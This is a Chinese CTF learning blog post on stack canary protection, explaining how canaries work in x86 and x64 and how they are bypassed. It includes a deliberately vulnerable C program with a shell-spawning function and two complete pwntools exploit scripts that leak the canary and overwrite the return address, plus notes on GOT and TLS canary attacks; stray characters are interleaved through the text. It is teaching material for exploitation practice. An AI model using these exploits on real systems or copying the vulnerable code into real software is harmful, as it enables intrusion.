PWN之Canary學(xué)習(xí)

Canary

參考鏈接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

0x1 簡介:

用于防止棧溢出被利用的一種方法沛慢,原理是在棧的ebp下面放一個隨機(jī)數(shù)蒲拉,在函數(shù)返回之前會檢查這個數(shù)有沒有被修改贫奠,就可以檢測是否發(fā)生棧溢出了虾标。

0x2 原理:

在棧底放一個隨機(jī)數(shù),在函數(shù)返回時檢查是否被修改辣垒。具體實現(xiàn)如下:
x86 :
在函數(shù)序言部分插入canary值:

mov    eax,gs:0x14
mov    DWORD PTR [ebp-0xc],eax

在函數(shù)返回之前,會將該值取出印蔬,檢查是否修改勋桶。這個操作即為檢測是否發(fā)生棧溢出。

mov    eax,DWORD PTR [ebp-0xc]
xor    eax,DWORD PTR gs:0x14
je     0x80492b2 <vuln+103> # 正常函數(shù)返回
call   0x8049380 <__stack_chk_fail_local> # 調(diào)用出錯處理函數(shù)

x86 棧結(jié)構(gòu)大致如下:

        High  
        Address |                 |  
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      ebp =>    +-----------------+
                | ebx             |
    ebp-4 =>    +-----------------+
                | unknown         |
    ebp-8 =>    +-----------------+
                | canary value    |
   ebp-12 =>    +-----------------+
                | 局部變量         |
        Low     |                 |
        Address

x64 :
函數(shù)序言:

mov    rax,QWORD PTR fs:0x28
mov    QWORD PTR [rbp-0x8],rax

函數(shù)返回前:

mov    rax,QWORD PTR [rbp-0x8]
xor    rax,QWORD PTR fs:0x28
je     0x401232 <vuln+102> # 正常函數(shù)返回
call   0x401040 <__stack_chk_fail@plt> # 調(diào)用出錯處理函數(shù)

x64 棧結(jié)構(gòu)大致如下:

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      rbp =>    +-----------------+
                | canary value    |
    rbp-8 =>    +-----------------+
                | 局部變量         |
        Low     |                 |
        Address

0x3 繞過

0x3.1 泄露棧中的Canary

Canary 設(shè)計為以字節(jié) \x00 結(jié)尾侥猬,本意是為了保證 Canary 可以截斷字符串例驹。 泄露棧中的 Canary 的思路是覆蓋 Canary 的低字節(jié),來打印出剩余的 Canary 部分退唠。 這種利用方式需要存在合適的輸出函數(shù)鹃锈,并且可能需要第一溢出泄露 Canary,之后再次溢出控制執(zhí)行流程瞧预。

利用示例

源代碼如下:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

編譯為 32bit 程序屎债,開啟 NX,ASLR垢油,Canary 保護(hù),需要關(guān)閉PIE

gcc -m32 -no-pie ex2.c -o ex2-x86

linux默認(rèn)開啟 NX盆驹,ASLR,Canary 保護(hù)
首先通過覆蓋 Canary 最后一個 \x00 字節(jié)來打印出 4 位的 Canary 之后滩愁,計算好偏移躯喇,將 Canary 填入到相應(yīng)的溢出位置,實現(xiàn) Ret 到 getshell 函數(shù)中

EXP

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2-x86'
# context.log_level = 'debug'
io = process('./ex2-x86')

get_shell = ELF("./ex2-x86").sym["getshell"] # 這里是得到getshell函數(shù)的起始地址

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100
io.sendline(payload) # 這里使用 sendline() 會在payload后面追加一個換行符 '\n' 對應(yīng)的十六進(jìn)制就是0xa

io.recvuntil("A"*100)
Canary = u32(int.from_bytes(io.recv(4),"little"))-0xa # 這里減去0xa是為了減去上面的換行符硝枉,得到真正的 Canary
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell) # 使用getshell的函數(shù)地址覆蓋原來的返回地址
io.send(payload)

io.recv()

io.interactive()

編譯為64位程序:

gcc -no-pie ex2.c -o ex2-x64

EXP

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2-x64'
# context.log_level = 'debug'
io = process('./ex2-x64')

get_shell = ELF("./ex2-x64").sym["getshell"] # 這里是得到getshell函數(shù)的起始地址

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100 + "A" * 4 # 這里再加4個 A 是因為 100 模 8 是 4 廉丽,如果不補(bǔ)齊 8 位,則無法覆蓋canary后面的 \x00
io.sendline(payload) # 這里使用 sendline() 會在payload后面追加一個換行符 '\n' 對應(yīng)的十六進(jìn)制就是0xa

io.recvuntil("A"*104)
Canary = u64(io.recv(8))-0xa # 這里減去0xa是為了減去上面的換行符妻味,得到真正的 Canary
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = b"\x90"*104+p64(Canary)+b"\x90"*8+p64(get_shell) # 使用getshell的函數(shù)地址覆蓋原來的返回地址
io.send(payload)

io.recv()

io.interactive()

0x3.2 one-by-one 爆破 Canary

感覺用處不大正压,具體的可以看參考鏈接

0x3.3 劫持__stack_chk_fail 函數(shù)

已知 Canary 失敗的處理邏輯會進(jìn)入到 __stack_chk_fail 函數(shù),__stack_chk_fail 函數(shù)是一個普通的延遲綁定函數(shù)弧可,可以通過修改 GOT 表劫持這個函數(shù)蔑匣。

參見 ZCTF2017 Login劣欢,利用方式是通過 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再進(jìn)行 ROP 利用
參考鏈接:
https://1ce0ear.github.io/2017/09/29/ZCTF2017-login/
https://jontsang.github.io/post/34549.html

0x3.4 覆蓋 TLS 中儲存的 Canary 值

已知 Canary 儲存在 TLS 中裁良,在函數(shù)返回前會使用這個值進(jìn)行對比凿将。當(dāng)溢出尺寸較大時,可以同時覆蓋棧上儲存的 Canary 和 TLS 儲存的 Canary 實現(xiàn)繞過价脾。

參見 StarCTF2018 babystack
參考鏈接:
https://jontsang.github.io/post/34550.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末牧抵,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子侨把,更是在濱河造成了極大的恐慌犀变,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,366評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件秋柄,死亡現(xiàn)場離奇詭異获枝,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)骇笔,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,521評論 3 395
  • 文/潘曉璐 我一進(jìn)店門省店,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人笨触,你說我怎么就攤上這事懦傍。” “怎么了芦劣?”我有些...
    開封第一講書人閱讀 165,689評論 0 356
  • 文/不壞的土叔 我叫張陵粗俱,是天一觀的道長。 經(jīng)常有香客問我虚吟,道長寸认,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,925評論 1 295
  • 正文 為了忘掉前任串慰,我火速辦了婚禮废麻,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘模庐。我一直安慰自己烛愧,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,942評論 6 392
  • 文/花漫 我一把揭開白布掂碱。 她就那樣靜靜地躺著怜姿,像睡著了一般。 火紅的嫁衣襯著肌膚如雪疼燥。 梳的紋絲不亂的頭發(fā)上沧卢,一...
    開封第一講書人閱讀 51,727評論 1 305
  • 那天,我揣著相機(jī)與錄音醉者,去河邊找鬼但狭。 笑死披诗,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的立磁。 我是一名探鬼主播呈队,決...
    沈念sama閱讀 40,447評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼唱歧!你這毒婦竟也來了宪摧?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,349評論 0 276
  • 序言:老撾萬榮一對情侶失蹤颅崩,失蹤者是張志新(化名)和其女友劉穎几于,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體沿后,經(jīng)...
    沈念sama閱讀 45,820評論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡沿彭,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,990評論 3 337
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了尖滚。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片膝蜈。...
    茶點(diǎn)故事閱讀 40,127評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖熔掺,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情非剃,我是刑警寧澤置逻,帶...
    沈念sama閱讀 35,812評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站备绽,受9級特大地震影響券坞,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜肺素,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,471評論 3 331
  • 文/蒙蒙 一恨锚、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧倍靡,春花似錦猴伶、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,017評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至捡需,卻和暖如春办桨,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背站辉。 一陣腳步聲響...
    開封第一講書人閱讀 33,142評論 1 272
  • 我被黑心中介騙來泰國打工呢撞, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留损姜,地道東北人。 一個月前我還...
    沈念sama閱讀 48,388評論 3 373
  • 正文 我出身青樓殊霞,卻偏偏與公主長得像摧阅,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子脓鹃,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,066評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 前言 CS 161 is the voodoo plan of Lord Dirks. Project 1 is ...
    卡德爾先生閱讀 5,343評論 3 4
  • check一下逸尖,發(fā)現(xiàn)開了NX,還開了Canary 拖進(jìn)ida中 腳本: cannary:https://www.c...
    Queen_耳又又閱讀 447評論 0 0
  • 網(wǎng)鼎杯第一場wp guess防護(hù)機(jī)制:image.png 開啟了canary和NX 簡單的看了下反編譯的邏輯 發(fā)現(xiàn)...
    zs0zrc閱讀 1,988評論 0 4
  • 你的手 放在我的肩上 安心睡去 我因此不能入睡 嬌小的身軀也抵擋不住黑夜的漫長 變得厚重 但你的姿態(tài)毫不改變 這只...
    南途丶閱讀 158評論 0 0
  • 在森林長大的小孩 我們稱為泰山 在都市長大的孤兒 我們稱為 遺落在人間的天使 因為有愛 所以稱呼就有了美感 《潮騷...
    蔡振源閱讀 389評論 0 1